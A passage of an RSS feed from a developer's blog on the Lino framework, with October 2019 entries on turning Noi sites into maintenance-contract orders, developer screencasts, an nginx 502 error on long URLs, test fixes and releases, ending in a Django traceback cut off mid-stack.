&lt;p&gt;One failure (in &lt;a class="reference external" href="https://dev.lino-framework.org/specs/tickets.html#dg-plugins-tickets" title="(in Lino Developer Guide)"&gt;&lt;span&gt;tickets (Ticket management)&lt;/span&gt;&lt;/a&gt;) shows me that &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3284"&gt;#3284&lt;/a&gt; interferes
with a series of changes I plan for Noi regarding our business model for next
year: The customers want us to sell “maintenance contracts” for a
&lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-production-site" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;production site&lt;/span&gt;&lt;/a&gt;.  A maintenance contract is always for a given date
range and has a number of hours to be worked on. This “hour credit” or
“contingent” of an order becomes void at the end of the date range.  It is
commercially equivalent to what I have been calling “yearly fee” until now, but
easier to sell because it includes a number of free hours. And because this is a
common concept. As a first step I plan to change the verbose_name for
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;tickets.Site&lt;/span&gt;&lt;/code&gt; from “Site” to “Order”. And en passant I would add some
new fields: &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;start_date&lt;/span&gt;&lt;/code&gt;, &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;end_date&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;hours_paid&lt;/span&gt;&lt;/code&gt;. A
“Site” or “Order” is a designated and formulated goal for which somebody is
ready to pay. We have a lot of “internal” orders: we want ourselves to work on
something. These sites will simply have empty &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;end_date&lt;/span&gt;&lt;/code&gt; and
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;hours_paid&lt;/span&gt;&lt;/code&gt; Seen like this, the sites in Noi might become a new type of
vouchers and are stored in a journal. We might even print them out and use them
as the maintenance contract for the customer. Lino should not allow anybody to
work on a ticket if its order has no credit left. We can always create a new
order and move the ticket there.&lt;/p&gt;
&lt;p&gt;I opened &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3301"&gt;#3301&lt;/a&gt; for these ideas.&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;contact_person&lt;/span&gt;&lt;/code&gt; of a site is now more important because this points
to the &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-site-expert" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;site expert&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This change would make it possible that Lino computes itself the remaining hours
in a service report. Until now I had to compute these myself.&lt;/p&gt;
&lt;p&gt;Note that &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3028"&gt;#3028&lt;/a&gt; probably becomes useless then.&lt;/p&gt;
&lt;p&gt;Yes, &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#noi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Noi&lt;/span&gt;&lt;/a&gt; is becoming an full project management system :-)&lt;/p&gt;
&lt;p&gt;There is more to do:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Every &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;working.Session&lt;/span&gt;&lt;/code&gt; should store both the ticket and the site (the order).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Continue to remove &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;tickets.Subscription&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Move &lt;a class="reference external" href="https://dev.lino-framework.org/specs/tickets.html#lino_xl.lib.tickets.Site" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.tickets.Site&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.working.html#module-lino_xl.lib.working" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.working&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; (&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3303"&gt;#3303&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Disable StartSession on tickets whose Site is not active.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Automatically generate service reports&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1028.html</guid><pubDate>Mon, 28 Oct 2019 00:00:00 +0000</pubDate></item><item><title>Thursday, October 24, 2019</title><link>https://luc.lino-framework.org/blog/2019/1024.html</link><description>&lt;section id="thursday-october-24-2019"&gt;
&lt;h1&gt;Thursday, October 24, 2019&lt;a class="headerlink" href="#thursday-october-24-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I recorded yet another &lt;a class="reference external" href="https://youtu.be/5TPzfDBvbBM"&gt;screencast&lt;/a&gt; where I
reproduce &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3293"&gt;#3293&lt;/a&gt;. The screencast is quite long because I must first
install nginx on my machine and stumble into some getlino pitfalls. Only the
last few minutes show the actual problem (for which I didn’t find the solution
and which is rather urgent).&lt;/p&gt;
&lt;p&gt;I ask Tonis to have a look at this (because Hamza is still working on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3108"&gt;#3108&lt;/a&gt;).
The screencast might be interesting for Amber as well.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1024.html</guid><pubDate>Thu, 24 Oct 2019 00:00:00 +0000</pubDate></item><item><title>Wednesday, October 23, 2019</title><link>https://luc.lino-framework.org/blog/2019/1023.html</link><description>&lt;section id="wednesday-october-23-2019"&gt;
&lt;h1&gt;Wednesday, October 23, 2019&lt;a class="headerlink" href="#wednesday-october-23-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="watch-luc-working-my-second-screencast-for-developers"&gt;
&lt;h2&gt;Watch Luc working : my second screencast for developers&lt;a class="headerlink" href="#watch-luc-working-my-second-screencast-for-developers" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Today once more I recorded myself while working. This is my second developer
screencast and it’s called “Luc working on #3284”. It has three parts so far:
&lt;a class="reference external" href="https://youtu.be/r_r0ETA0KgU"&gt;part 1&lt;/a&gt; / &lt;a class="reference external" href="https://youtu.be/tyXxBSjQNOU"&gt;part 2&lt;/a&gt; / &lt;a class="reference external" href="https://youtu.be/SlnUoYnZ5Qk"&gt;part 3&lt;/a&gt;.
It is about 2 hours of watch.&lt;/p&gt;
&lt;p&gt;Here is what I did in that series of screncasts:&lt;/p&gt;
&lt;p&gt;I did &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3284"&gt;#3284&lt;/a&gt; : &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#noi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Noi&lt;/span&gt;&lt;/a&gt; now uses &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.groups.html#module-lino_xl.lib.groups" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.groups&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  Actually
a new plugin &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_noi.lib.groups.html#module-lino_noi.lib.groups" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_noi.lib.groups&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; (an extension of
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.groups.html#module-lino_xl.lib.groups" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.groups&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;) which extends Group to add a &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;user&lt;/span&gt;&lt;/code&gt; field (the
“team manager”). It also changes the verbose name “Group” to “Team”. Added a
field &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_noi.lib.tickets.Site.group&lt;/span&gt;&lt;/code&gt; and adapted the
get_notifications_owner method of &lt;a class="reference external" href="https://dev.lino-framework.org/apps/noi/tickets.html#lino_noi.lib.tickets.Ticket" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_noi.lib.tickets.Ticket&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to return
the group of the site instead of the site.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-demo" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;demo&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fixture of &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.groups.html#module-lino_xl.lib.groups" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.groups&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now adds first names
for every user because otherwise Lino complains when users.Users inherits from
&lt;cite&gt;contacts.Person&lt;/cite&gt;&lt;/p&gt;
&lt;p&gt;In &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.groups.html#module-lino_xl.lib.groups" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.groups&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; the &lt;a class="reference external" href="https://dev.lino-framework.org/specs/groups.html#lino_xl.lib.groups.Membership.user" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Membership.user&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; field is now
labeled “User” instead of “Author”, and the model now has a detail layout and an
insert layout (e.g. &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;MembersByGroup&lt;/span&gt;&lt;/code&gt; now has a insert button)&lt;/p&gt;
&lt;/section&gt;
&lt;section id="bad-gateway-responding-to-get-with-long-url"&gt;
&lt;h2&gt;502 Bad Gateway responding to GET with long URL&lt;a class="headerlink" href="#bad-gateway-responding-to-get-with-long-url" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I opened &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3293"&gt;#3293&lt;/a&gt; which occurs only on an nginx server.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;http://127.0.0.1:8000/api/avanti/Clients?_dc=1571855426112&amp;amp;cw=164&amp;amp;cw=60&amp;amp;cw=83&amp;amp;cw=83&amp;amp;cw=243&amp;amp;cw=83&amp;amp;cw=170&amp;amp;cw=83&amp;amp;cw=46&amp;amp;cw=83&amp;amp;cw=170&amp;amp;cw=170&amp;amp;cw=164&amp;amp;cw=164&amp;amp;cw=92&amp;amp;cw=164&amp;amp;cw=170&amp;amp;cw=170&amp;amp;cw=170&amp;amp;cw=92&amp;amp;cw=92&amp;amp;cw=170&amp;amp;cw=170&amp;amp;cw=170&amp;amp;cw=479&amp;amp;cw=164&amp;amp;cw=170&amp;amp;cw=170&amp;amp;cw=170&amp;amp;cw=170&amp;amp;cw=60&amp;amp;cw=100&amp;amp;cw=322&amp;amp;cw=164&amp;amp;cw=164&amp;amp;cw=164&amp;amp;cw=164&amp;amp;cw=170&amp;amp;cw=170&amp;amp;cw=108&amp;amp;cw=108&amp;amp;cw=60&amp;amp;cw=170&amp;amp;cw=170&amp;amp;cw=83&amp;amp;cw=100&amp;amp;cw=100&amp;amp;cw=60&amp;amp;cw=60&amp;amp;cw=164&amp;amp;cw=60&amp;amp;cw=164&amp;amp;cw=60&amp;amp;cw=479&amp;amp;cw=108&amp;amp;cw=108&amp;amp;cw=83&amp;amp;cw=108&amp;amp;cw=83&amp;amp;cw=83&amp;amp;cw=83&amp;amp;cw=108&amp;amp;cw=170&amp;amp;cw=479&amp;amp;cw=479&amp;amp;cw=479&amp;amp;cw=479&amp;amp;cw=479&amp;amp;cw=479&amp;amp;cw=164&amp;amp;cw=164&amp;amp;cw=479&amp;amp;cw=170&amp;amp;cw=164&amp;amp;cw=243&amp;amp;cw=243&amp;amp;cw=243&amp;amp;cw=243&amp;amp;cw=243&amp;amp;cw=243&amp;amp;cw=243&amp;amp;cw=243&amp;amp;cw=243&amp;amp;cw=243&amp;amp;cw=243&amp;amp;cw=243&amp;amp;ch=&amp;amp;ch=&amp;amp;ch=&amp;amp;ch=&amp;amp;ch=&amp;amp;ch=&amp;amp;ch=&amp;amp;ch=&amp;amp;ch=&amp;amp;ch=&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ch=true&amp;amp;ci=name_column&amp;amp;ci=client_state&amp;amp;ci=national_id&amp;amp;ci=gsm&amp;amp;ci=address_column&amp;amp;ci=age&amp;amp;ci=email&amp;amp;ci=phone&amp;amp;ci=id&amp;amp;ci=language&amp;amp;ci=url&amp;amp;ci=fax&amp;amp;ci=country&amp;amp;ci=city&amp;amp;ci=zip_code&amp;amp;ci=region&amp;amp;ci=addr1&amp;amp;ci=street_prefix&amp;amp;ci=street&amp;amp;ci=street_no&amp;amp;ci=street_box&amp;amp;ci=addr2&amp;amp;ci=prefix&amp;amp;ci=name&amp;amp;ci=remarks&amp;amp;ci=client_contact_type&amp;amp;ci=title&amp;amp;ci=first_name&amp;amp;ci=middle_name&amp;amp;ci=last_name&amp;amp;ci=gender&amp;amp;ci=birth_date&amp;amp;ci=ref&amp;amp;ci=locked_by&amp;amp;ci=user&amp;amp;ci=nationality&amp;amp;ci=birth_country&amp;amp;ci=birth_place&amp;amp;ci=card_number&amp;amp;ci=card_valid_from&amp;amp;ci=card_valid_until&amp;amp;ci=card_type&amp;amp;ci=card_issuer&amp;amp;ci=noble_condition&amp;amp;ci=private&amp;amp;ci=in_belgium_since&amp;amp;ci=in_region_since&amp;amp;ci=starting_reason&amp;amp;ci=old_ending_reason&amp;amp;ci=ending_reason&amp;amp;ci=professional_state&amp;amp;ci=category&amp;amp;ci=translator_type&amp;amp;ci=translator_notes&amp;amp;ci=unemployed_since&amp;amp;ci=seeking_since&amp;amp;ci=needs_work_permit&amp;amp;ci=work_permit_suspended_until&amp;amp;ci=has_contact_pcsw&amp;amp;ci=has_contact_work_office&amp;amp;ci=declared_name&amp;amp;ci=unavailable_until&amp;amp;ci=unavailable_why&amp;amp;ci=family_notes&amp;amp;ci=residence_notes&amp;amp;ci=health_notes&amp;amp;ci=financial_notes&amp;amp;ci=integration_notes&amp;amp;ci=availability&amp;amp;ci=needed_course&amp;amp;ci=event_policy&amp;amp;ci=language_notes&amp;amp;ci=reason_of_stay&amp;amp;ci=nationality2&amp;amp;ci=municipality&amp;amp;ci=mobile_item&amp;amp;ci=overview&amp;amp;ci=workflow_buttons&amp;amp;ci=mti_navigator&amp;amp;ci=eid_info&amp;amp;ci=image&amp;amp;ci=language_knowledge&amp;amp;ci=mother_tongues&amp;amp;ci=cef_level_de&amp;amp;ci=cef_level_fr&amp;amp;ci=cef_level_en&amp;amp;name=0&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=20&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;lv=1571808324.084085&amp;amp;an=export_excel&amp;amp;sr=114&amp;quot;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;2682&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I read &lt;a class="reference external" href="https://stackoverflow.com/questions/40426157/nginx-url-limit-502-gateway"&gt;this&lt;/a&gt;
and similar threads, tried to change some parameters in
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/nginx/sites-available/site1.conf&lt;/span&gt;&lt;/code&gt; but no success so far.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1023.html</guid><pubDate>Wed, 23 Oct 2019 00:00:00 +0000</pubDate></item><item><title>Monday, October 21, 2019</title><link>https://luc.lino-framework.org/blog/2019/1021.html</link><description>&lt;section id="monday-october-21-2019"&gt;
&lt;h1&gt;Monday, October 21, 2019&lt;a class="headerlink" href="#monday-october-21-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Here is my first developer screencast:&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://youtu.be/xjzTr0z-UNM"&gt;https://youtu.be/xjzTr0z-UNM&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I thought that instead of fixing the bug alone I imagine that a newbie is watching me.
Yes, it’s not as good as a well-prepared screencast ;-)
If it was useful to you then let me know.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1021.html</guid><pubDate>Mon, 21 Oct 2019 00:00:00 +0000</pubDate></item><item><title>Saturday, October 19, 2019</title><link>https://luc.lino-framework.org/blog/2019/1019.html</link><description>&lt;section id="saturday-october-19-2019"&gt;
&lt;h1&gt;Saturday, October 19, 2019&lt;a class="headerlink" href="#saturday-october-19-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Congratulations to Tonis who fixed &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3277"&gt;#3277&lt;/a&gt; in a better way (using a FK
field) than I had suggested (using a new table). I did some merely cosmetic
changes when reviewing the code.&lt;/p&gt;
&lt;p&gt;The test suites in book and welfare still had failures caused by Tonis’ and my
recent changes. I adapted them and thought that one day we will do it as the
Django project where a change doesn’t even get committed if it causes some test
to fail. Meanwhile we are a family-sized team: I am glad that Tonis worked on
this on a Saturday, and I do the dirty administrative work because I want to
release it and then update the avanti production server before Monday.&lt;/p&gt;
&lt;p&gt;The &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;test_beid.py&lt;/span&gt;&lt;/code&gt; in avanti1 failed because the new
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.beid.Plugin.simulate_eidreader_path&lt;/span&gt;&lt;/code&gt; caused the wrong data to
get loaded.  That was my mistake.&lt;/p&gt;
&lt;p&gt;Some doctests in book failed because of a dangling &lt;cite&gt;SPACE&lt;/cite&gt; in JS code generated
by &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.renderer.html#module-lino.core.renderer" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.renderer&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;One failure caused me to start a small refactoring of how applications can
configure where pictures are to be stored. They can now simply override some
methods in their BeIdCardHolder model.  The current default implementation has
the disadvantage that they are all stored in a single directory.  In weleup
there are thousands of these image files.&lt;/p&gt;
&lt;p&gt;I tidied up the code in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.callbacks.html#module-lino.core.callbacks" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.callbacks&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. A &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;CallbackManager&lt;/span&gt;&lt;/code&gt;
instance is no longer used.&lt;/p&gt;
&lt;p&gt;The failure in welfare &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs/specs/welcht/misc.rst&lt;/span&gt;&lt;/code&gt; is still failing.
It is yet another side effect of the new callback handling.
I guess that &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/requests.html#lino.core.requests.BaseRequest.set_confirm_answer" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.requests.BaseRequest.set_confirm_answer()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; no longer works.
Or maybe because this action (EditTemplate) has two confirmations.
This won’t stop me from doing the release since this action is not used by anybody ATM.&lt;/p&gt;
&lt;p&gt;Released Lino 19.10.3, XL 19.10.3 and Avanti 19.10.2 to PyPI.&lt;/p&gt;
&lt;p&gt;Released Lino 19.10.4 (bugfix for 19.10.3)&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1019.html</guid><pubDate>Sat, 19 Oct 2019 00:00:00 +0000</pubDate></item><item><title>Friday, October 18, 2019</title><link>https://luc.lino-framework.org/blog/2019/1018.html</link><description>&lt;section id="friday-october-18-2019"&gt;
&lt;h1&gt;Friday, October 18, 2019&lt;a class="headerlink" href="#friday-october-18-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Here is a traceback I had on Hobbit when I tried to select another ticket for a session:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Internal&lt;/span&gt; &lt;span class="n"&gt;Server&lt;/span&gt; &lt;span class="n"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;choices&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;working&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;SessionsByTicket&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ticket&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/core/handlers/exception.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;inner&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/core/handlers/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;115&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_get_response&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;process_exception_by_middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/core/handlers/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;113&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_get_response&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;wrapped_callback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;callback_args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;callback_kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/mnt/disk/jane/env3/lib/python3.7/site-packages/django/views/generic/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;71&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
